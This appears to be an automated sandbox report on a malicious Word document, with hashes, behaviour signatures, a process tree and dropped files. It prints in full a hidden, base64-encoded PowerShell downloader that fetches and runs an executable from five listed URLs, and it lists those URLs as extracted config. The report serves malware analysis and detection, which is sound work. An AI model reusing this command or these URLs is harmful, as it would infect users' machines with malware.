Analysis
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max time kernel
101s -
max time network
104s -
platform
windows10-2004_x64 -
resource
win10v2004-20230220-en -
resource tags
arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system -
submitted
23-03-2023 00:06
Behavioral task
behavioral1
Sample
VirusShare_2fe5b00079aec2d8369a798230313ec8.doc
Resource
win7-20230220-en
Behavioral task
behavioral2
Sample
VirusShare_2fe5b00079aec2d8369a798230313ec8.doc
Resource
win10v2004-20230220-en
General
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Target
VirusShare_2fe5b00079aec2d8369a798230313ec8.doc
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Size
125KB
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MD5
2fe5b00079aec2d8369a798230313ec8
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SHA1
e233595a2ee62f6197fcc7d9088fce3505c38ec0
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SHA256
8eb6805a0852b220695175ce81a5b139f1438dc06ea3fc1347b047702880374c
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SHA512
d9b4173274b49d7f041aea1a6866d5cc79530360668299385a10f25597b608308a5cb6502363709a7e09e43d30a1df95e1ab72fcc71852c78b51da016c2bbed7
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SSDEEP
3072:beKgdzSrG8KyIwLx3phgC1s0rPOWfKNR/:beKUzSLnLx3X3O0r2WfKNJ
Malware Config
Extracted
https://sandiegohomevalues.com/engl/4de-kzsyhu-768611/
https://www.wenkawang.com/data/bofze0s-7ji4-15/
https://www.bruidsfotograaf-utrecht.com/wp-includes/QLvFLy/
http://ma.jopedu.com/img/8z8dl-3xn-655019278/
http://pay.jopedu.com/ThinkPHP/l9okcguh6-b9nnrh7-96245524/
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
Powershell.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1544 3696 Powershell.exe -
Blocklisted process makes network request 2 IoCs
Processes:
Powershell.exeflow pid process 41 1544 Powershell.exe 62 1544 Powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 1288 WINWORD.EXE 1288 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
Powershell.exepid process 1544 Powershell.exe 1544 Powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
Powershell.exedescription pid process Token: SeDebugPrivilege 1544 Powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
WINWORD.EXEpid process 1288 WINWORD.EXE 1288 WINWORD.EXE -
Suspicious use of SetWindowsHookEx 8 IoCs
Processes:
WINWORD.EXEpid process 1288 WINWORD.EXE 1288 WINWORD.EXE 1288 WINWORD.EXE 1288 WINWORD.EXE 1288 WINWORD.EXE 1288 WINWORD.EXE 1288 WINWORD.EXE 1288 WINWORD.EXE -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
WINWORD.EXEdescription pid process target process PID 1288 wrote to memory of 4392 1288 WINWORD.EXE splwow64.exe PID 1288 wrote to memory of 4392 1288 WINWORD.EXE splwow64.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\VirusShare_2fe5b00079aec2d8369a798230313ec8.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABKAGIAagBkAG0AcgBrAGYAPQAnAFcAdgB4AG8AagBqAHgAeQAnADsAJABLAHEAegB2AHEAagBjAGQAYgBkAGsAIAA9ACAAJwAzADAANgAnADsAJABHAHgAZAB1AG8AYwBkAGoAYwBqAHQAPQAnAEIAawBmAGsAYgBvAGYAaQBwAHAAYwB6AHQAJwA7ACQATQBiAGsAbQBvAG8AbgBnAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABLAHEAegB2AHEAagBjAGQAYgBkAGsAKwAnAC4AZQB4AGUAJwA7ACQAVQBlAGYAYwB6AHAAYwBkAGYAaQB4AG8APQAnAFIAcQBkAGsAegBtAHkAZABtAHcAdAB3AGYAJwA7ACQASQB5AGIAbgBwAHkAdABmAGEAcABtAD0AJgAoACcAbgBlAHcAJwArACcALQBvAGIAJwArACcAagBlAGMAJwArACcAdAAnACkAIABuAGUAVAAuAHcAZQBiAGMATABJAEUAbgB0ADsAJABEAHEAcwB5AG4AYQBoAHkAeQB2AHgAbAA9ACcAaAB0AHQAcABzADoALwAvAHMAYQBuAGQAaQBlAGcAbwBoAG8AbQBlAHYAYQBsAHUAZQBzAC4AYwBvAG0ALwBlAG4AZwBsAC8ANABkAGUALQBrAHoAcwB5AGgAdQAtADcANgA4ADYAMQAxAC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgB3AGUAbgBrAGEAdwBhAG4AZwAuAGMAbwBtAC8AZABhAHQAYQAvAGIAbwBmAHoAZQAwAHMALQA3AGoAaQA0AC0AMQA1AC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBiAHIAdQBpAGQAcwBmAG8AdABvAGcAcgBhAGEAZgAtAHUAdAByAGUAYwBoAHQALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAFEATAB2AEYATAB5AC8AKgBoAHQAdABwADoALwAvAG0AYQAuAGoAbwBwAGUAZAB1AC4AYwBvAG0ALwBpAG0AZwAvADgAegA4AGQAbAAtADMAeABuAC0ANgA1ADUAMAAxADkAMgA3ADgALwAqAGgAdAB0AHAAOgAvAC8AcABhAHkALgBqAG8AcABlAGQAdQAuAGMAbwBtAC8AVABoAGkAbgBrAFAASABQAC8AbAA5AG8AawBjAGcAdQBoADYALQBiADkAbgBuAHIAaAA3AC0AOQA2ADIANAA1ADUAMgA0AC8AJwAuACIAUwBgAFAATABJAFQAIgAoACcAKgAnACkAOwAkAEEAdgB2AGgAawBvAHkAZQByAD0AJwBaAGcAegBiAGQAegB5AG0AeQAnADsAZgBvAHIAZQBhAGMAaAAoACQAUgBjAHIAbgBkAHEAZgBtAGYAbQBlACAAaQBuACAAJABEAHEAcwB5AG4AYQBoAHkAeQB2AHgAbAApAHsAdAByAHkAewAkAEkAeQBiAG4AcAB5AHQAZgBhAHAAbQAuACIAZABPAGAAVwBuAGwAbwBhAEQAZgBgAEkAbABlACIAKAAkAFIAYwByAG4AZABxAGYAbQBmAG0AZQAsACAAJABNAGIAawBtAG8AbwBuAGcAKQA7ACQAUAB0AGkAdQBxAHIAaQBqAGQAawBsAHYAZQA9ACcASAB3AGgAcwBtAGwAegBzACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQBtACcAKQAgACQATQBiAGsAbQBvAG8AbgBnACkALgAiAEwAZQBuAGAAZwBUAGgAIgAgAC0AZwBlACAAMwAwADMAMAA5ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAYABUAGEAcgBUACIAKAAkAE0AYgBrAG0AbwBvAG4AZwApADsAJABMAHMAdAB4AHMAcwBpAGEAPQAnAFkAcAB5AGgAdgBoAGgAdwAnADsAYgByAGUAYQBrADsAJABWAG4AYQBzAGIAZgBmAG0AbwBxAD0AJwBDAG0AZwBxAHAAZwBzAHMAbgBkAGkAYgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABJAGwAcgBlAHIAdgB6AGgAaQA9ACcAQgB2AG4AbQB2AG0AcABhAGQAbgBsAGIAJwA=1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\306.exeFilesize
60KB
MD5c024c953ec332e5442ddf792e2317cb0
SHA15c1231594e38209ca346f31503d852a4602bd9fc
SHA256ff42059791f1f33377aaa95399ff09d9a9d61e816045cc8fc34ba4b51ac8c38f
SHA51289d739e4ae016576e09ea6fd8261236f15f43a3ef5d622572b6e065d8f221ee3337d4ff75319a87b72469e8fabe7555316d40c863f417a22b2d824f3478a963b
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C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\871C8B46.wmfFilesize
444B
MD56af85a4853d82ee3ef6658fc78522688
SHA1a291c969a5705e2d10c823d1a41d19de95c97ebb
SHA2568b44075d064bfd4534a8a543af18f2d18f112c7e37270d42040107b95ef9c670
SHA5123045f89192f91fb25d24d71337bb76055b6576ecbc8a8879eb81008c7b4329c0d93bdd10202686635487d133cdacb4c5c61060f155b6848a5a0a37b16f1b86ef
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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lkllcqxy.wnp.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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memory/1288-138-0x00007FF8CD1D0000-0x00007FF8CD1E0000-memory.dmpFilesize
64KB
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memory/1288-134-0x00007FF8CF230000-0x00007FF8CF240000-memory.dmpFilesize
64KB
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memory/1288-133-0x00007FF8CF230000-0x00007FF8CF240000-memory.dmpFilesize
64KB
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memory/1288-139-0x00007FF8CD1D0000-0x00007FF8CD1E0000-memory.dmpFilesize
64KB
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memory/1288-136-0x00007FF8CF230000-0x00007FF8CF240000-memory.dmpFilesize
64KB
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memory/1288-153-0x0000018BE6490000-0x0000018BE6690000-memory.dmpFilesize
2.0MB
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memory/1288-246-0x00007FF8CF230000-0x00007FF8CF240000-memory.dmpFilesize
64KB
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memory/1288-135-0x00007FF8CF230000-0x00007FF8CF240000-memory.dmpFilesize
64KB
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memory/1288-247-0x00007FF8CF230000-0x00007FF8CF240000-memory.dmpFilesize
64KB
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memory/1288-137-0x00007FF8CF230000-0x00007FF8CF240000-memory.dmpFilesize
64KB
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memory/1288-245-0x00007FF8CF230000-0x00007FF8CF240000-memory.dmpFilesize
64KB
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memory/1288-189-0x0000018BE6490000-0x0000018BE6690000-memory.dmpFilesize
2.0MB
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memory/1288-244-0x00007FF8CF230000-0x00007FF8CF240000-memory.dmpFilesize
64KB
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memory/1544-179-0x0000020F5E860000-0x0000020F5E870000-memory.dmpFilesize
64KB
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memory/1544-192-0x0000020F5E860000-0x0000020F5E870000-memory.dmpFilesize
64KB
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memory/1544-191-0x0000020F5E860000-0x0000020F5E870000-memory.dmpFilesize
64KB
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memory/1544-190-0x0000020F5E860000-0x0000020F5E870000-memory.dmpFilesize
64KB
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memory/1544-178-0x0000020F5E860000-0x0000020F5E870000-memory.dmpFilesize
64KB
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memory/1544-180-0x0000020F5E860000-0x0000020F5E870000-memory.dmpFilesize
64KB
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memory/1544-166-0x0000020F5E8B0000-0x0000020F5E8D2000-memory.dmpFilesize
136KB